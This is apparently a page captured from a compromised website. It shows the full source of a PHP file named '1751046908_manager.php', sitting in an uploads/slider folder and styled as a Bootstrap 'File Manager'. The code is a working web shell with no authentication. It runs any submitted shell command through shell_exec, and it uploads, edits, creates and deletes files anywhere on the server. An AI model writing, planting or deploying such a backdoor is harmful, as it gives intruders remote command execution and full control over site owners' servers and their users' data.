File Operations
Upload Files
Upload
Create File
Create File
Create Folder
Create Folder
Command Terminal
Execute
File Manager
home
stellafo
public_html
uploads
slider
Edit File: 1751046908_manager.php
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>File Manager</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet"> <link href="https://cdn.jsdelivr.net/npm/bootstrap-icons/font/bootstrap-icons.css" rel="stylesheet"> <style> body { background-color: #f4f4f4; padding: 30px; } .table th { background-color: #f8f9fa; } .breadcrumb-item + .breadcrumb-item::before { content: "/"; } .table td, .table th { vertical-align: middle; } #sidebar { display: none; position: fixed; top: 0; right: 0; width: 300px; height: 100%; background-color: white; border-left: 1px solid #ddd; padding: 20px; overflow-y: auto; box-shadow: -2px 0 5px rgba(0,0,0,0.1); z-index: 1050; } #menuToggle { position: fixed; top: 20px; right: 20px; z-index: 1100; } </style> </head> <body> <?php $directory = isset($_GET['dir']) ? realpath($_GET['dir']) : __DIR__; if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_FILES['uploaded_file'])) { $upload_dir = realpath($_POST['dir']); $filename = basename($_FILES['uploaded_file']['name']); $target = $upload_dir . DIRECTORY_SEPARATOR . $filename; if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $target)) { echo '<div class="alert alert-success">File uploaded successfully: ' . htmlspecialchars($filename) . '</div>'; } else { echo '<div class="alert alert-danger">Failed to upload file.</div>'; } } if ($_POST['action'] === 'CreateFile' && !empty($_POST['new_file'])) { $newFile = $directory . DIRECTORY_SEPARATOR . basename($_POST['new_file']); if (touch($newFile)) { echo '<div class="alert alert-success">File created: ' . htmlspecialchars($newFile) . '</div>'; } } if ($_POST['action'] === 'CreateFolder' && !empty($_POST['new_folder'])) { $newFolder = $directory . DIRECTORY_SEPARATOR . basename($_POST['new_folder']); if (mkdir($newFolder)) { echo '<div class="alert alert-success">Folder created: ' . htmlspecialchars($newFolder) . '</div>'; } } if ($_POST['action'] === 'Execute' && !empty($_POST['command'])) { $command = 'cd ' . escapeshellarg($directory) . ' && ' . $_POST['command']; $output = shell_exec($command); echo '<pre>' . htmlspecialchars($output) . '</pre>'; } if ($_POST['action'] === 'SaveEdit') { $filePath = $_POST['edit_file_path']; $newContent = $_POST['file_content']; $forbiddenFiles = ['.htaccess', '.env']; if (!in_array(basename($filePath), $forbiddenFiles)) { if (file_put_contents($filePath, $newContent) !== false) { echo '<div class="alert alert-success">File saved successfully: ' . htmlspecialchars(basename($filePath)) . '</div>'; } else { echo '<div class="alert alert-danger">Failed to save the file.</div>'; } } else { echo '<div class="alert alert-danger">Editing this file is forbidden.</div>'; } } } if (isset($_GET['action'], $_GET['file']) && $_GET['action'] === 'delete') { $file = basename($_GET['file']); $file_path = $directory . DIRECTORY_SEPARATOR . $file; if (file_exists($file_path) && unlink($file_path)) { echo '<div class="alert alert-success">File deleted: ' . htmlspecialchars($file) . '</div>'; } else { echo '<div class="alert alert-danger">Failed to delete: ' . htmlspecialchars($file) . '</div>'; } } ?> <button id="menuToggle" class="btn btn-primary"><i class="bi bi-list"></i></button> <div id="sidebar"> <h5>File Operations</h5> <form method="post" enctype="multipart/form-data"> <label>Upload Files</label> <input type="file" name="uploaded_file" class="form-control mb-2"> <button type="submit" name="action" value="Upload" class="btn btn-primary mb-3">Upload</button> <input type="hidden" name="dir" value="<?= htmlspecialchars($directory) ?>"> </form> <form method="post"> <label>Create File</label> <input type="text" name="new_file" class="form-control mb-2"> <button type="submit" name="action" value="CreateFile" class="btn btn-success mb-3">Create File</button> </form> <form method="post"> <label>Create Folder</label> <input type="text" name="new_folder" class="form-control mb-2"> <button type="submit" name="action" value="CreateFolder" class="btn btn-info mb-3">Create Folder</button> </form> <form method="post"> <label>Command Terminal</label> <input type="text" name="command" class="form-control mb-2"> <button type="submit" name="action" value="Execute" class="btn btn-warning">Execute</button> </form> </div> <div class="container"> <div class="card"> <div class="card-header bg-primary text-white"> <h3 class="mb-0">File Manager</h3> </div> <div class="card-body"> <nav aria-label="breadcrumb"> <ol class="breadcrumb"> <?php $parts = explode(DIRECTORY_SEPARATOR, $directory); $path = ''; foreach ($parts as $i => $part) { $path .= $part . DIRECTORY_SEPARATOR; echo '<li class="breadcrumb-item"><a href="?dir=' . urlencode($path) . '">' . htmlspecialchars($part) . '</a></li>'; } ?> </ol> </nav> <?php if (isset($_GET['action'], $_GET['file']) && $_GET['action'] === 'edit') { $fileToEdit = $directory . DIRECTORY_SEPARATOR . basename($_GET['file']); $forbiddenFiles = ['.htaccess', '.env']; if (in_array(basename($fileToEdit), $forbiddenFiles)) { echo '<div class="alert alert-danger">Editing this file is forbidden.</div>'; } elseif (is_file($fileToEdit)) { $fileContent = htmlspecialchars(file_get_contents($fileToEdit)); echo '<h5>Edit File: ' . htmlspecialchars($_GET['file']) . '</h5>'; echo '<form method="post">'; echo '<textarea name="file_content" class="form-control" rows="15">' . $fileContent . '</textarea>'; echo '<input type="hidden" name="edit_file_path" value="' . htmlspecialchars($fileToEdit) . '">'; echo '<button type="submit" name="action" value="SaveEdit" class="btn btn-success mt-2">Save</button>'; echo '</form>'; } } else { echo '<table class="table table-bordered table-hover mt-3">'; echo '<thead><tr><th>Name</th><th>Size</th><th>Permissions</th><th>Last Modified</th><th>Actions</th></tr></thead><tbody>'; $items = array_diff(scandir($directory), ['.', '..']); foreach ($items as $item) { $fullPath = $directory . DIRECTORY_SEPARATOR . $item; $isDir = is_dir($fullPath); $icon = $isDir ? 'bi-folder-fill' : 'bi-file-earmark'; $size = $isDir ? '-' : number_format(filesize($fullPath) / 1024, 2) . ' KB'; $perm = substr(sprintf('%o', fileperms($fullPath)), -4); $mod = date("Y-m-d H:i:s", filemtime($fullPath)); echo '<tr>'; echo '<td><i class="bi ' . $icon . '"></i> ' . ($isDir ? '<a href="?dir=' . urlencode($fullPath) . '">' : '<a href="' . htmlspecialchars($fullPath) . '">') . htmlspecialchars($item) . '</a></td>'; echo '<td>' . $size . '</td>'; echo '<td>' . $perm . ' (' . decoct(fileperms($fullPath) & 0777) . ')</td>'; echo '<td>' . $mod . '</td>'; echo '<td>'; if (!$isDir) { echo '<a class="btn btn-sm btn-primary" href="?dir=' . urlencode($directory) . '&action=edit&file=' . urlencode($item) . '"><i class="bi bi-pencil-square"></i></a> '; } echo '<a class="btn btn-sm btn-danger" href="?dir=' . urlencode($directory) . '&action=delete&file=' . urlencode($item) . '" onclick="return confirm(\'Delete ' . $item . '?\')"><i class="bi bi-trash"></i></a> '; echo '<a class="btn btn-sm btn-success" href="' . htmlspecialchars($fullPath) . '" download><i class="bi bi-download"></i></a>'; echo '</td>'; echo '</tr>'; } echo '</tbody></table>'; } ?> </div> </div> </div> <script> document.getElementById('menuToggle').addEventListener('click', function () { var sidebar = document.getElementById('sidebar'); sidebar.style.display = sidebar.style.display === 'block' ? 'none' : 'block'; }); </script> </body> </html>
Save